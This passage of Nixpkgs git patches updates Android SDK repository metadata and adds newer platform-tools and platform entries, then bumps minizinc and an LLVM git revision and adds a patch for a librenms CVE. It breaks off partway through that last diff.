@@ -23697,7 +24472,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -23759,7 +24534,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "obsolete": "true",
@@ -23823,7 +24598,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "obsolete": "true",
@@ -23887,7 +24662,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -23949,7 +24724,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -23997,7 +24772,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24046,7 +24821,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24094,7 +24869,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24150,7 +24925,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24206,7 +24981,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24261,7 +25036,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24317,7 +25092,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24372,7 +25147,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24427,7 +25202,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24482,7 +25257,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24538,7 +25313,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24593,7 +25368,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24648,7 +25423,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24704,7 +25479,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24760,7 +25535,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24816,7 +25591,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24835,70 +25610,8 @@
       }
     },
     "patcher": {
-      "1": {
-        "archives": [
-          {
-            "os": "all",
-            "sha1": "046699c5e2716ae11d77e0bad814f7f33fab261e",
-            "size": 1827327,
-            "url": "https://dl.google.com/android/repository/3534162-studio.sdk-patcher.zip"
-          }
-        ],
-        "displayName": "SDK Patch Applier v4",
-        "last-available-day": 19579,
-        "license": "android-sdk-license",
-        "name": "patcher",
-        "path": "patcher/v4",
-        "revision": "1",
-        "revision-details": {
-          "major:0": "1"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      }
     },
     "platform-tools": {
-      "34.0.4": {
-        "archives": [
-          {
-            "os": "macosx",
-            "sha1": "ecc476b9801fcb6ea61605eedf60f85217964f09",
-            "size": 11208015,
-            "url": "https://dl.google.com/android/repository/platform-tools_r34.0.4-darwin.zip"
-          },
-          {
-            "os": "linux",
-            "sha1": "faaac1c05af0e3fa20baee6e8970d96fb53bfe58",
-            "size": 6325905,
-            "url": "https://dl.google.com/android/repository/platform-tools_r34.0.4-linux.zip"
-          },
-          {
-            "os": "windows",
-            "sha1": "d245eedc17259b15e799c312e9014f78aea3da21",
-            "size": 5992467,
-            "url": "https://dl.google.com/android/repository/platform-tools_r34.0.4-windows.zip"
-          }
-        ],
-        "displayName": "Android SDK Platform-Tools",
-        "last-available-day": 19579,
-        "license": "android-sdk-license",
-        "name": "platform-tools",
-        "path": "platform-tools",
-        "revision": "34.0.4",
-        "revision-details": {
-          "major:0": "34",
-          "micro:2": "4",
-          "minor:1": "0"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      },
       "34.0.5": {
         "archives": [
           {
@@ -25028,21 +25741,21 @@
           {
             "arch": "all",
             "os": "macosx",
-            "sha1": "48ebbd2fc67d894d7fd7b21679a7c8eb3fed9b28",
-            "size": 14186209,
+            "sha1": "69ffc978ad66667c6b2eb7979a09f5af20f83aaa",
+            "size": 14186137,
             "url": "https://dl.google.com/android/repository/platform-tools_r36.0.0-darwin.zip"
           },
           {
             "arch": "all",
             "os": "windows",
-            "sha1": "342b69dcbab46c9d3b802d7e21b95a91c8c9b3ff",
-            "size": 7138793,
+            "sha1": "18bb505f9fbfbdf1e44fca4d794e74e01b63d30e",
+            "size": 7138784,
             "url": "https://dl.google.com/android/repository/platform-tools_r36.0.0-win.zip"
           }
         ],
         "displayName": "Android SDK Platform-Tools",
-        "last-available-day": 20237,
-        "license": "android-sdk-preview-license",
+        "last-available-day": 20318,
+        "license": "android-sdk-license",
         "name": "platform-tools",
         "path": "platform-tools",
         "revision": "36.0.0",
@@ -25056,6 +25769,47 @@
             "xsi:type": "ns5:genericDetailsType"
           }
         }
+      },
+      "36.0.1": {
+        "archives": [
+          {
+            "arch": "all",
+            "os": "linux",
+            "sha1": "5ea5ed0ce3734d4f7dfed7f91eeda090101c3411",
+            "size": 8128518,
+            "url": "https://dl.google.com/android/repository/platform-tools_r36.0.1-linux.zip"
+          },
+          {
+            "arch": "all",
+            "os": "macosx",
+            "sha1": "96dd111d89fb1e6c8f3a78781102dad7366fe9cc",
+            "size": 14597016,
+            "url": "https://dl.google.com/android/repository/platform-tools_r36.0.1-darwin.zip"
+          },
+          {
+            "arch": "all",
+            "os": "windows",
+            "sha1": "0a700d028bca11fbf5be6fc2187e9a8820f2d942",
+            "size": 7316031,
+            "url": "https://dl.google.com/android/repository/platform-tools_r36.0.1-win.zip"
+          }
+        ],
+        "displayName": "Android SDK Platform-Tools",
+        "last-available-day": 20318,
+        "license": "android-sdk-preview-license",
+        "name": "platform-tools",
+        "path": "platform-tools",
+        "revision": "36.0.1",
+        "revision-details": {
+          "major:0": "36",
+          "micro:2": "1",
+          "minor:1": "0"
+        },
+        "type-details": {
+          "element-attributes": {
+            "xsi:type": "ns5:genericDetailsType"
+          }
+        }
       }
     },
     "platforms": {
@@ -25070,7 +25824,7 @@
           }
         ],
         "displayName": "Android SDK Platform 10",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-10",
@@ -25109,7 +25863,7 @@
           }
         ],
         "displayName": "Android SDK Platform 11",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-11",
@@ -25148,7 +25902,7 @@
           }
         ],
         "displayName": "Android SDK Platform 12",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-12",
@@ -25187,7 +25941,7 @@
           }
         ],
         "displayName": "Android SDK Platform 13",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-13",
@@ -25226,7 +25980,7 @@
           }
         ],
         "displayName": "Android SDK Platform 14",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-14",
@@ -25265,7 +26019,7 @@
           }
         ],
         "displayName": "Android SDK Platform 15",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-15",
@@ -25304,7 +26058,7 @@
           }
         ],
         "displayName": "Android SDK Platform 16",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-16",
@@ -25343,7 +26097,7 @@
           }
         ],
         "displayName": "Android SDK Platform 17",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-17",
@@ -25382,7 +26136,7 @@
           }
         ],
         "displayName": "Android SDK Platform 18",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-18",
@@ -25421,7 +26175,7 @@
           }
         ],
         "displayName": "Android SDK Platform 19",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-19",
@@ -25474,7 +26228,7 @@
           }
         ],
         "displayName": "Android SDK Platform 2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "obsolete": "true",
@@ -25514,7 +26268,7 @@
           }
         ],
         "displayName": "Android SDK Platform 20",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-20",
@@ -25553,7 +26307,7 @@
           }
         ],
         "displayName": "Android SDK Platform 21",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-21",
@@ -25592,7 +26346,7 @@
           }
         ],
         "displayName": "Android SDK Platform 22",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-22",
@@ -25631,7 +26385,7 @@
           }
         ],
         "displayName": "Android SDK Platform 23",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-23",
@@ -25670,7 +26424,7 @@
           }
         ],
         "displayName": "Android SDK Platform 24",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-24",
@@ -25709,7 +26463,7 @@
           }
         ],
         "displayName": "Android SDK Platform 25",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-25",
@@ -25748,7 +26502,7 @@
           }
         ],
         "displayName": "Android SDK Platform 26",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-26",
@@ -25787,7 +26541,7 @@
           }
         ],
         "displayName": "Android SDK Platform 27",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-27",
@@ -25826,7 +26580,7 @@
           }
         ],
         "displayName": "Android SDK Platform 28",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-28",
@@ -25865,7 +26619,7 @@
           }
         ],
         "displayName": "Android SDK Platform 29",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-29",
@@ -25918,7 +26672,7 @@
           }
         ],
         "displayName": "Android SDK Platform 3",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "obsolete": "true",
@@ -25958,7 +26712,7 @@
           }
         ],
         "displayName": "Android SDK Platform 30",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-30",
@@ -25997,7 +26751,7 @@
           }
         ],
         "displayName": "Android SDK Platform 31",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-31",
@@ -26036,7 +26790,7 @@
           }
         ],
         "displayName": "Android SDK Platform 32",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-32",
@@ -26075,7 +26829,7 @@
           }
         ],
         "displayName": "Android SDK Platform 33",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-33",
@@ -26115,7 +26869,7 @@
           }
         ],
         "displayName": "Android SDK Platform 33-ext5",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-33-ext5",
@@ -26150,7 +26904,7 @@
           }
         ],
         "displayName": "Android SDK Platform 34",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "obsolete": "true",
@@ -26196,7 +26950,7 @@
           }
         ],
         "displayName": "Android SDK Platform 34-ext12",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-34-ext12",
@@ -26229,7 +26983,7 @@
           }
         ],
         "displayName": "Android SDK Platform 35",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-35",
@@ -26267,7 +27021,7 @@
           }
         ],
         "displayName": "Android SDK Platform 35-ext15",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-35-ext15",
@@ -26300,7 +27054,7 @@
           }
         ],
         "displayName": "Android SDK Platform 36",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-36",
@@ -26322,6 +27076,39 @@
           }
         }
       },
+      "36x": {
+        "archives": [
+          {
+            "arch": "all",
+            "os": "all",
+            "sha1": "33a7af9f531f6ce67b3ec357f619e69aa0a95c8a",
+            "size": 66044874,
+            "url": "https://dl.google.com/android/repository/platform-36-ext18_r01.zip"
+          }
+        ],
+        "displayName": "Android SDK Platform 36-ext19",
+        "last-available-day": 20318,
+        "license": "android-sdk-license",
+        "name": "platforms",
+        "path": "platforms/android-36-ext19",
+        "revision": "36x",
+        "revision-details": {
+          "major:0": "1"
+        },
+        "type-details": {
+          "api-level:0": "36x",
+          "base-extension:2": "false",
+          "element-attributes": {
+            "xsi:type": "ns11:platformDetailsType"
+          },
+          "extension-level:1": "19",
+          "layoutlib:3": {
+            "element-attributes": {
+              "api": "15"
+            }
+          }
+        }
+      },
       "4": {
         "archives": [
           {
@@ -26347,7 +27134,7 @@
           }
         ],
         "displayName": "Android SDK Platform 4",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "obsolete": "true",
@@ -26401,7 +27188,7 @@
           }
         ],
         "displayName": "Android SDK Platform 5",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "obsolete": "true",
@@ -26455,7 +27242,7 @@
           }
         ],
         "displayName": "Android SDK Platform 6",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "obsolete": "true",
@@ -26495,7 +27282,7 @@
           }
         ],
         "displayName": "Android SDK Platform 7",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-7",
@@ -26534,7 +27321,7 @@
           }
         ],
         "displayName": "Android SDK Platform 8",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-8",
@@ -26573,7 +27360,7 @@
           }
         ],
         "displayName": "Android SDK Platform 9",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-9",
@@ -26612,7 +27399,7 @@
           }
         ],
         "displayName": "Android SDK Platform Baklava",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-Baklava",
@@ -26635,6 +27422,40 @@
           }
         }
       },
+      "CANARY": {
+        "archives": [
+          {
+            "arch": "all",
+            "os": "all",
+            "sha1": "163262487a541e01d0af42cca7cc20a7d46a461b",
+            "size": 66239501,
+            "url": "https://dl.google.com/android/repository/platform-36.0-CANARY_r02.zip"
+          }
+        ],
+        "displayName": "Android SDK Platform CANARY",
+        "last-available-day": 20318,
+        "license": "android-sdk-preview-license",
+        "name": "platforms",
+        "path": "platforms/android-CANARY",
+        "revision": "CANARY",
+        "revision-details": {
+          "major:0": "2"
+        },
+        "type-details": {
+          "api-level:0": "36.0",
+          "base-extension:3": "true",
+          "codename:1": "CANARY",
+          "element-attributes": {
+            "xsi:type": "ns11:platformDetailsType"
+          },
+          "extension-level:2": "19",
+          "layoutlib:4": {
+            "element-attributes": {
+              "api": "15"
+            }
+          }
+        }
+      },
       "TiramisuPrivacySandbox": {
         "archives": [
           {
@@ -26677,7 +27498,7 @@
           }
         ],
         "displayName": "Android SDK Platform UpsideDownCake",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "platforms",
         "obsolete": "true",
@@ -26795,7 +27616,7 @@
           }
         ],
         "displayName": "Layout Inspector image server for API S",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "skiaparser",
         "path": "skiaparser/2",
@@ -26916,7 +27737,7 @@
           }
         ],
         "displayName": "Layout Inspector image server for API 29-30",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "skiaparser",
         "path": "skiaparser/1",
@@ -26962,7 +27783,7 @@
           }
         ],
         "displayName": "Layout Inspector image server for API 31-36",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "skiaparser",
         "path": "skiaparser/3",
@@ -26989,7 +27810,7 @@
           }
         ],
         "displayName": "Sources for Android 14",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "obsolete": "true",
@@ -27019,7 +27840,7 @@
           }
         ],
         "displayName": "Sources for Android 15",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-15",
@@ -27048,7 +27869,7 @@
           }
         ],
         "displayName": "Sources for Android 16",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-16",
@@ -27077,7 +27898,7 @@
           }
         ],
         "displayName": "Sources for Android 17",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-17",
@@ -27106,7 +27927,7 @@
           }
         ],
         "displayName": "Sources for Android 18",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-18",
@@ -27135,7 +27956,7 @@
           }
         ],
         "displayName": "Sources for Android 19",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-19",
@@ -27164,7 +27985,7 @@
           }
         ],
         "displayName": "Sources for Android 20",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-20",
@@ -27193,7 +28014,7 @@
           }
         ],
         "displayName": "Sources for Android 21",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-21",
@@ -27222,7 +28043,7 @@
           }
         ],
         "displayName": "Sources for Android 22",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-22",
@@ -27251,7 +28072,7 @@
           }
         ],
         "displayName": "Sources for Android 23",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-23",
@@ -27280,7 +28101,7 @@
           }
         ],
         "displayName": "Sources for Android 24",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-24",
@@ -27309,7 +28130,7 @@
           }
         ],
         "displayName": "Sources for Android 25",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-25",
@@ -27338,7 +28159,7 @@
           }
         ],
         "displayName": "Sources for Android 26",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-26",
@@ -27367,7 +28188,7 @@
           }
         ],
         "displayName": "Sources for Android 27",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-27",
@@ -27396,7 +28217,7 @@
           }
         ],
         "displayName": "Sources for Android 28",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-28",
@@ -27425,7 +28246,7 @@
           }
         ],
         "displayName": "Sources for Android 29",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-29",
@@ -27454,7 +28275,7 @@
           }
         ],
         "displayName": "Sources for Android 30",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-30",
@@ -27483,7 +28304,7 @@
           }
         ],
         "displayName": "Sources for Android 31",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-31",
@@ -27512,7 +28333,7 @@
           }
         ],
         "displayName": "Sources for Android 32",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-32",
@@ -27541,7 +28362,7 @@
           }
         ],
         "displayName": "Sources for Android 33",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-33",
@@ -27571,7 +28392,7 @@
           }
         ],
         "displayName": "Sources for Android 34",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-34",
@@ -27601,7 +28422,7 @@
           }
         ],
         "displayName": "Sources for Android 35",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-35",
@@ -27631,7 +28452,7 @@
           }
         ],
         "displayName": "Sources for Android 36",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "sources",
         "path": "sources/android-36",
@@ -27698,7 +28519,7 @@
           }
         },
         "displayName": "Android SDK Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "tools",
         "obsolete": "true",

From a4ebac8bc4cff7e8371ff09f50a8941d4849e0d3 Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Sun, 17 Aug 2025 22:58:51 -0700
Subject: [PATCH 3628/4511] androidenv: apply meta to Android fetchurl calls

This sets an unfree license, which already applied to everything else in
androidenv, preventing accidental caching on Hydra.

(cherry picked from commit 843384b7fe5ab0f5067842007661f7e1d1d8c662)
---
 pkgs/development/mobile/androidenv/compose-android-packages.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/development/mobile/androidenv/compose-android-packages.nix b/pkgs/development/mobile/androidenv/compose-android-packages.nix
index 44259a2f2e48..189c85f3cd8b 100644
--- a/pkgs/development/mobile/androidenv/compose-android-packages.nix
+++ b/pkgs/development/mobile/androidenv/compose-android-packages.nix
@@ -189,7 +189,7 @@ let
               archive:
               (fetchurl {
                 inherit (archive) url sha1;
-                preferLocalBuild = true;
+                inherit meta;
                 passthru = {
                   info = packageInfo;
                 };

From cad5504e619ce1ba328887ed8d0ec3005441e155 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 23 May 2025 12:50:24 +0000
Subject: [PATCH 3629/4511] minizinc: 2.9.2 -> 2.9.3

(cherry picked from commit 1381c1114a41ca19a5fa674993dbe5b449c7a0c6)
---
 pkgs/development/tools/minizinc/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tools/minizinc/default.nix b/pkgs/development/tools/minizinc/default.nix
index f85d1a61c734..0a2c19584880 100644
--- a/pkgs/development/tools/minizinc/default.nix
+++ b/pkgs/development/tools/minizinc/default.nix
@@ -15,13 +15,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "minizinc";
-  version = "2.9.2";
+  version = "2.9.3";
 
   src = fetchFromGitHub {
     owner = "MiniZinc";
     repo = "libminizinc";
     rev = finalAttrs.version;
-    sha256 = "sha256-rR+QvRt73wvulx+T+vhSc3354Cpx1QC6+adaodEiQ7Q=";
+    sha256 = "sha256-eu2yNRESypXWCn8INTjGwwRXTWdGYvah/hc2iqFKQmw=";
   };
 
   nativeBuildInputs = [

From 934b6eaa0742b5f7981ff6036f341ea3ecd91622 Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Sun, 17 Aug 2025 19:06:14 -0700
Subject: [PATCH 3630/4511] llvmPackages_git: 22.0.0-unstable-2025-08-03 ->
 22.0.0-unstable-2025-08-17

(cherry picked from commit abb55708355a551ec4ab7558ea54092aa81c6dd1)
---
 pkgs/development/compilers/llvm/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index ec9b4ba43444..945832aa205c 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -34,9 +34,9 @@ let
     "20.1.6".officialRelease.sha256 = "sha256-PfCzECiCM+k0hHqEUSr1TSpnII5nqIxg+Z8ICjmMj0Y=";
     "21.1.0-rc1".officialRelease.sha256 = "sha256-EZMG3kNqGTvKSuvslbrtNnyqBCG5C2gN9Y2qHbiuh8Q=";
     "22.0.0-git".gitRelease = {
-      rev = "144cd87088dc82263b25e816c77fc03f29fd1288";
-      rev-version = "22.0.0-unstable-2025-08-03";
-      sha256 = "sha256-DtY1OcpquPQ+dXTyuVggrK5gO7H5xgoZajf/ZONCQ7o=";
+      rev = "97d5d483ecc67d0b786a53d065b7202908cb4047";
+      rev-version = "22.0.0-unstable-2025-08-17";
+      sha256 = "sha256-rz+Ybn9bslZA57AV1gHyePrxvBi7bRnt3Tii6Go/NWA=";
     };
   }
   // llvmVersions;

From 30cdb644fee9c2c5aff31b2a40e55fd0c37ab5c7 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Mon, 18 Aug 2025 13:28:48 +0200
Subject: [PATCH 3631/4511] librenms: apply patch for CVE-2025-54238

https://github.com/advisories/GHSA-gq96-8w38-hhj2

Applied the patch directly, the changelogs of recent versions mention breaking changes.
---
 pkgs/by-name/li/librenms/package.nix | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/pkgs/by-name/li/librenms/package.nix b/pkgs/by-name/li/librenms/package.nix
index becb2c17bf2e..d5f06af9a804 100644
--- a/pkgs/by-name/li/librenms/package.nix
+++ b/pkgs/by-name/li/librenms/package.nix
@@ -1,6 +1,7 @@
 {
   lib,
   fetchFromGitHub,
+  fetchpatch,
   unixtools,
   php82,
   python3,
@@ -38,6 +39,15 @@ phpPackage.buildComposerProject2 rec {
 
   vendorHash = "sha256-t/3wBSXJJHqbGR1iKF4zC2Ia99gXNlanabR/iPPlHqw=";
 
+  patches = [
+    (fetchpatch {
+      # https://github.com/advisories/GHSA-gq96-8w38-hhj2
+      name = "CVE-2025-54138.patch";
+      url = "https://github.com/librenms/librenms/commit/ec89714d929ef0cf2321957ed9198b0f18396c81.patch";
